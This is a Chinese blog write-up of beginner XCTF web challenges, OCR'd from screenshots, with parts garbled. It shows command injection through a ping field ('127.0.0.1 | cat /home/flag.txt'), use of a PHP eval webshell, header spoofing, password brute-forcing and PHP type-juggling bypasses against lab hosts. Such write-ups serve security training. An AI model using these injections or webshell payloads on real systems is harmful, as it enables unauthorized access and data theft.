XCTF-web-新手区题目

Sure_lis ① 于 2019-11-04 13:36:17 发布 ① 726 🏠 收藏 5 分类专栏: CTF 文章标签: XCTF CTF 版权声明:本文为博主原创文章,遵循<u>CC 4.0 BY-SA</u>版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/Lorezon/article/details/102890213 版权 CTF 专栏收录该内容 7篇文章0订阅 订阅专栏 自我总结用 -: view_source

$(\leftarrow) ightarrow$ C $(rac{1}{2})$	111.198.29.45:47384	嬲 … ☆	± II\ 🖸 Θ ¤ 🗭 ় ≡
🗋 火狐官方站点 📄 常用网址 🗎 火狐官	方站点		□ 移动设备上的书签

FLAG is not here



📄 火狐官方站点 📄 常用网址 📄 火狐官方站点

请用GET方式提交一个名为a,值为1的变量

https://blog.csdn.net/Lorezon

м

12995

用hackbar

▶
 ▶
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅
 𝔅

请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量

▶ ① 查看器	🖸 控制台 D 调试器 1 网络 {} 样式编辑器 🎧 性能 🕼 内存 🗄 存储 🛉 无障碍环境 🧶 HackBar	
Encryption -	Encoding - SQL - XSS - LFI - XXE - Other -	
a Load URL	http://111.198.29.45:47898/?a=1	
👷 Split URL		
() Execute	Post data Referer User Agent Cookies Clear All	
继续		

(\leftarrow) > C $($	☑ 2 111.198.29.45:47898/?a=1		± II\ 🖸 9 ≒ 🗭 ≒
□ 火狐官方站点 □ 常用网址 □ 火	(官方站点		□移动设备上的书签

请用GET方式提交一个名为a,值为1的变量 请再以POST方式随便提交一个名为b,值为2的变量 cyberpeace{ebc755f82d616163a24b712e880ffef1}



JUHAO

\equiv : robots

进去发现空白,什么都没有。根据题目robots,那就来查看robots协议:

← → ♂ ⓓ	0 🔏 111.198.29.45:41556/robots.txt	驟 … ☆
📄 火狐官方站点 📄 常用网址 [■ 火狐官方站点	
Jser-agent: * Disallow: Disallow: flag_ls_h3re.p	hp	
手访问 f1ag_1s_h3r	re.php	
	 	上 III、 🖸 😝 📮 🗭
	490a2b0cb5e2dfa2d676}	
宅成。		
^{完成。} ∐.backup		
^{宅成。} 引: backup 七来看常见的文件名	3后缀:常见的备份文件后缀名有.git、.svn、.swp、.~、.bak、.bash_histor	
完成。 J: backup 毛来看常见的文件名 邓访问下试试,发现	名后缀:常见的备份文件后缀名有.git、.svn、.swp、.~、.bak、.bash_histor 配是.bak	
完成。 J: backup E来看常见的文件名 邓访问下试试,发现 ()→ C	3后缀:常见的备份文件后缀名有.git、.svn、.swp、.~、.bak、.bash_histor 观是.bak	↓ IN\ □ A 1 @ 5 =
宅成。 リ: backup も来看常见的文件名 彩访问下试试,发现 ↔ → C û → 𝒯 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅 𝔅	名后缀:常见的备份文件后缀名有.git、.svn、.swp、.~、.bak、.bash_histor R是.bak Q 111.198.29.45:53660/index.php.bak Iapbág	业 III、 □ Θ 1 ● 今 三 □移动设备上的书法
宅成。 9: backup 七来看常见的文件名 都访问下试试,发现 ← → C @ ■ ×35585555555555555555555555555555555555	名后缀: 常见的备份文件后缀名有.git、.svn、.swp、.~、.bak、.bash_histor R是.bak (Q. 111.198.2945:53660/index.php.bak Extrobad	业 Ⅲ、 □ Θ は ● 今 Ξ □ 移动设备上的书

下载,用记事本打开



} <body> <h3>你知道index.php的备份文件名吗?</h3> <?php \$flag="Cyberpeace{855A1C4B3401294CB6604CCC98BDE334}" ?> </body> 			~
	Ln 1, Col 1	100% Windows (CRLF) UTf	at8unet/Lorezon

完成。

五: cookie

<pre>burg httnder Repeater Winder Help Tiges Provy Speter Scanner httnder Repeater Stequencer Decoder Comparer Extender Options Alerts Introder HTTP http:// 11.198.29.45.44570 Forward Drop Intercept is on Action Rew Parame Headers Hex Comment Shis dem It (Comment Shis dem It (</pre>	Surp Suite Professional v1.6 - licensed to LarryLau			
Target Descore Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts Provide the http://11119828.45.44570 Forward Drop Intercepts on Action Comment the form Extender Comment the form Extender Comment the form Extender Extender Comment the form Extender Extender Comment the form Extender	Burp Intruder Repeater Window Help			
Mintrap MTTP hatory WebSockets history Options Request to http://111.188.29.45.44570 Comment this item Rew Param Header Hex Comment this item HTTP hits Comment this item Accept - Nanchese - Contiols Cache - Control: max-age=0 Comment this item	Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts			
<pre> Request to http://111.198 29 45.44570 Forward Drop Mercept is on Action Comment this dam Ref / HTTP/1.1 Ker / HTTP/1.1 Ker / HTTP/1.1 Ker / HTTP/1.1 Ker / HTTP/1.0 Vesc-Agent: Nozilla/5.0 (Kindows NT 10.0; Kin64; x64; rv:70.0) Gecko/20100101 Pirefox/70.0 Accept - Language: zh-GN, zh;q=0.0, s, zh-TW; q=0.0, s, eh; q=0.0 Accept - Language: zh-GN, zh;q=0.0, s, zh-TW; q=0.0, s, eh; q=0.0, s, eh; q=0.2 Accept-Encokie.php Vpgrade-Insecure-Requests: 1 Cache-Control: max-age=0 O matches O matches</pre>	Intercept HTTP history WebSockets history Options			
Forward Drop Intercept is on Action Cmmment this dem Cmmment this dem Cmmment this dem GET / HTTP/1.1 Host: 111.159.251.45:44570 User-Agent: Mozillaki.5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: Language: 2h.Chintletwall.application/xml14ml.application/xml1q=0.9; */*rq=0.8 Accept: Language: 2h.Chintletwall 2h.Chintletwall Connection: keep-Lintletwall Connection: 2h.Chintletwall Connection: keep-Lintletwall Connection: 2h.Chintletwall Connection: keep-Lintletwall Connection: 2h.Chintletwall Contection: keep-Lintletwall Connection: 2h.Chintletwall Contection: keep-Lintletwall Connection: 2h.Chintletwall Contection: keep-Lintletwall Connection: 2h.Chintletwall Cache-Control: max-age=0 Cache-Control: max-age=0 Z Keep-Lintletwall Cache-Control: M.Chintletwall Max Max Max Max M.Chintletwall Max Max Ma	Request to http://111.198.29.45:44570			
Raw Params Headers Hex GET / HYTP/1.1 Host: 111.158.25.45:44570 User-Agent: Motil4:5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,applcation/xml+xml,applcation/xml;q=0.9;*/*rq=0.8 Accept:Text/html,applcation/xml+xml;q=0.7, zh-HK;q=0.5, en-US;q=0.2 Accept:Iser-Ecoding: gzlp, deflate Connection: keep-alive Connection: hesp-alive Dygrade-Insecure=Requests: 1 Cache-Control: max-age=0	Forward Drop Intercept is on Action	Comment this item		
<pre>7 < + > https://literation/shifts/signame</pre>	Raw Params Headers Hex			
? < + > https://blog.csdn.ne0.matches	<pre>GET / HTTP/1.1 Host: 111.198.29.45:44570 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: look-here-cookie.php Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0</pre>			
	? < + >	https://blog.cs/	dn ne0 matche	s

burp抓包,看到cookie.php,去访问

(←) → ∪ @	♥ 💋 111.198.29.45:44570/cookie.php	iiii ···· な	¥ III U U u y y 🤊 =
📄 火狐官方站点 📄 常用网址 📄 火狐官	方站点		□ 移动设备上的书签

https://blog.csdn.net/Lorezon

然后用插件

-					<u>ن</u>	e II verenarii.	~ •														
Û	▼ 过速 U	RL								11	所有	HTN	٨L	css Js	XHR 字	体图的	象 媒体	WS 其(也 持续日志	□ 禁用續存	不节流 ♥ HAR ♥
状态	方法	域名	文件	触发源头	类型	传输	大小	0 窒秒	320 窒秒	640 5	毫秒	960 室	Þ	消息头	Cooki	e 参	救 响/	应 耗时	堆栈跟踪		
200	GET	🔏 111.198.29.4	. cookie.php	document	html	712 字节	411 字节	ĵ					0	Connect	ion: Keep	-Alive					^
304	GET	🔏 libs.baidu.com	bootstrap.min.css	stylesheet	CSS	已緩存	97.22						?	Content	-Length: 4	11					
404	GET	🔏 111.198.29.4	. favicon.ico	img	html	已缓存	290 字节	5					?	Content	-Type: tex	t/html					
													?	Date: M	on, 04 No	v 2019 ()1:17:12 (GMT			
														flag: cyl	erpeace{f	fadc29a	e4aa78e7	76785eeb4	131019af}		
													?	Keep-Al	ive: timeo	ut=5, m	ax=100				
													0	Server:	Apache/2.4	4.7 (Ubu	intu)				
Ä	2.4.140-05	T /*** 07 01 VD	/713 mm mm, 140 th D0140			a.							-								

flag出来了。

六: disabled_button

	查看器	▶ 控制台	合し调试	器 🚺 网络	{}样式编辑器	Ω 性能	① 内存	🗄 存储	🕇 无障碍环境	HackBar
Q 搜索 HTM	ЛL									+
<html></html>										
▶ <head></head>	••• <td>d></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td> <td></td>	d>								
▼ <body></body>										
<h3>=</h3>	一个不能接	的按钮 <mark /	13>							
▼ <form< td=""><td>action</td><td>="" metho</td><td>od="post"></td><td></td><td></td><td></td><td></td><td></td><td></td><td></td></form<>	action	="" metho	od="post">							
<inp <td>out clas m></td><td>s="btn b</td><td>tn-default"</td><td>disabled=""</td><td>style="height:</td><td>50px;width</td><td>:200px;"</td><td>type="submit</td><td>" value="flag"</td><td>name="auth"></td></inp 	out clas m>	s="btn b	tn-default"	disabled=""	style="height:	50px;width	:200px;"	type="submit	" value="flag"	name="auth">
html ≻ bo	dy ≻ for	m								

用查看器,把 disabled="" 删除或者把dis删除变成abled="",然后按钮就可以按了。

② 火狐音方站点 》 常用网址 ③ 火狐音方站点	■移动设备

一个不能按的按钮

flag

cyberpeace{8f2e7d8c4ec61d95a8a05e0de6ef49af}

完成。 七**:simple_js**



无论输入什么都是错误的,查看源码,

```
Chtal>
Chtal
```

这里的String后面的一长串就是真正的密码。用python跑

```
Python 2.7.11 (v2.7.11:6d1b6a68f775, Dec 5 2015, 20:32:19) [MSC v.1500 32 bit (
Intel)] on win32
Type "copyright", "credits" or "license()" for more information.
>>> s="\x35\x35\x2c\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\
x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"
>>> print(s)
55, 56, 54, 79, 115, 69, 114, 116, 107, 49, 50
>>> |
```

<pre>>>> Ior 1 in a:</pre>	
7 78 786 7860 7860s 7860sE 7860sEr 7860sErt 7860sErtk 7860sErtk1 7860sErtk1 7860sErtk12 >>>	
	https://blog.csdun;25.068;4

再用py就可以知道密码: 786OsErtk12, 然后根据flag格式: Cyberpeace{786OsErtk12} 完成。

八: xff_referer

要求ip地址必须是123.123.123, burp抓包 在请求头添加X-Forwarded-For: 123.123.123.123, 放包

\leftrightarrow \rightarrow C $rac{1}{2}$	111.198.29.45:52423	器 … ☆	± II\ 🖸 Θ ¤ 🗭 ⁵ Ξ
📄 火狐官方站点 📄 常用网址 📄 火狐官	方站点		2 移动设备上的书包

必须来自https://www.google.com

出现这个,继续抓包

Burp Suite Professional v1.6 - licensed to LarryLau	_	×
Burp Intruder Repeater Window Help		
Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Options Alerts		
Intercept HTTP history WebSockets history Options		
Request to http://111.198.29.45:52423		

Forward Drop Intercept is on Action	Co	omment this item	• ?
Raw Params Headers Hex			
<pre>GET / HTTP/1.1 Host: 111.198.29.45:52423 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 F Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: look-here=cookie.php Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 X-Forwarded-For: 123.123.123.123 Referer: https://www.google.com</pre>	irefox/70.0		
			I
? < + > Type a search term		https://blog.csdn	ne 0 matche
cyberpeace{1df7ec300eb87834a78a7b5f77af5e55}			
己成。			
L: weak_auth			
值便输入,提示用admin登录,然后进入			
🛛 🔏 111.198.29.45:54983/check.php			
狐官方站点			
	check.php页面,空白,	看源码,提示	示要用字
,burp抓包拦截			
š码爆破具体流程这里就不再赘述,最后查看攻击后的响应包列表,发现密码为12 2.,就找到了flag。	23456时,响应包的长周	度和别的不一样	羊,查看

Cyberneace {B8C8C412FB74FE5E9B2FDBD7907E397F} (!--maybe you need a dictionary-->

-,,,,,,,,	- ,
十 : webshell 田backbar	
用post方式传递一句shell=system('cat flag.txt');注意,最后分号不能省略。	
← → C @ 0 월 111.198.29.45:54168	[∞] ☆ ± II\ □ 0 4 ⊕ 5 = [∞] ☆
	□移动设备上的书签
你会使用webshell吗? cyberpeace(0d41d645a675f52809f80ad8ac1632f5) php<br @eval(\$_POST['shell']);?>	
你会使用webshell吗? cyberpeace(0d41d645a675f52809f90ad8ac1632f5) php<br @eval(\$_POST[shell]);?>	تا ۰۰۰ × Contribute nowel HackBar v2
(尔会使用webshell吗? cyberpeace(0d41d645a675f52809f90ad8ac1632f5) php<br @eval(\$_POST['shell']);?> C ① 查看器 ② 控制台 D 调试器 ↑↓ 网络 () 样式编编器 ① 性能 ③ 内存 已 存储 ↑ 无随時环境 ● HackBar Encryption × Encoding × SQL × XSS × LFI × XXE × Other × ■ Load URL ↓ thtp://111.198.29.45:54168/	Contribute now! HackBar v2
你会使用webshell吗? cyberpeace(0d41d645a675f52809f90ad8ac1632f5) php<br @eval(\$_POST['shell']);?> Encryption → Encoding → SQL → XSS → LFI → XXE → Other →	Contribute now! HackBar v2
你会使用webshell吗? cyberpeace(0d41d645a675f52809f90ad8ac1632f5) php<br @eval(\$_POST['shell']);?> © 查看器 ② 控制给 〕 调试器 1↓ 网络 〔) 样式编辑器 ① 性能 ① 内存 音 存储 音 无趣得环境 ● HackBar Encryption ← Encoding ← SQL ← XSS ← LFI ← XXE ← Other ← ■ Load URL ■ Load URL ■ http://111.198.29.45:54168/ ■ Spit URL ● Post data] Referer] User Agent] Cookies Clear All shell=system('cat flag.txt');	ت] ۰۰۰۰ × Contribute nowt HackBar v2 مال المعادية المعاديية المعادية المعادية المع

&&的作用是前一条命令执行成功时,才执行后一条命令。

在输入框添加127.0.0.1 | find / -name "flag.txt"

PING

PING ping -c 3 127.0.0.1 find / -name "flag.txt"	青输入需要ping的地址
PING ping -c 3 127.0.0.1 find / -name "flag.txt"	
ping -c 3 127.0.0.1 find / -name "flag.txt"	PING
	ing -c 3 127.0.0.1 find / -name "f

然后根据显示再拼接 127.0.0.1 | cat /home/flag.txt

PING

请输入需要ping的地址 PING

ping -c 3 127.0.0.1 | cat /home/flag.txt cyberpeace{978cced3b847ef4d0276b98ac76d5816}

拿到了flag。 十二: simple_php

```
show_source(_FILE_);
include("config.php");
$a=@$_GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
        echo $flag1;
}
if(is_numeric($b)){
        exit();
}
if($b>1234){
        echo $flag2;
}
```

https://blog.csdn.net/Lorezon

解读一下就是必须同时满足 a==0 和if a为真 时,才显示flag1。b不能是数字且当 b > 1234 才会显示flag2,那么真正的flag就是 flag1+flag2。

页面输入/index.php?a=abc,发现

```
←)→ C' @
                             111.198.29.45:48946/index.php?a=abc
📄 火狐官方站点 📄 常用网址 📄 火狐官方站点
<?php
show_source(__FILE__);
include("config.php");
$a=@$ GET['a'];
$b=@$_GET['b'];
if($a==0 and $a){
       echo $flag1;
}
if(is_numeric($b)){
       exit();
}
if($b>1234){
       echo $flag2;
}
?>
```

Cyberpeace{647E37C7627CC3E401

出现了falg1,这里是因为php中的弱类型比较会使'abc' == 0为真。 然后继续拼接a=abc&b=1235a,得到flag2

```
      (←) → (C* ①)
      ① # 111.198.29.45:48946/index.php?a=abc&b=12345a
      ○ # ... ① ● #

      > ×気度方弦点
      ● 常用限址
      → 気度方弦点
      ○ *

      ?php
      ... ○
      ... ○
      ... ○

      show_source(_FILE_);
      ... ○
      ... ○
      ... ○

      include("config.php"):
      ... ○
      ... ○
      ... ○

      Sb=45_GCT['b']:
      ... ○
      ... ○
      ... ○

      if($a=0 and $a){
      ... ○
      ... ○
      ... ○

      echo $flag1;
      ... ○
      ... ○
      ... ○

      if($b>1234){
      ... ○
      ... ○
      ... ○

      echo $flag2;
      ... ○
      ... ○
      ... ○
      ... ○

      ?>
      Cyberpeace(647E37C7627CC3E4019EC69324F66C7C)
      ... ○
      ... ○
      ... ○
```

这就是完整的flag。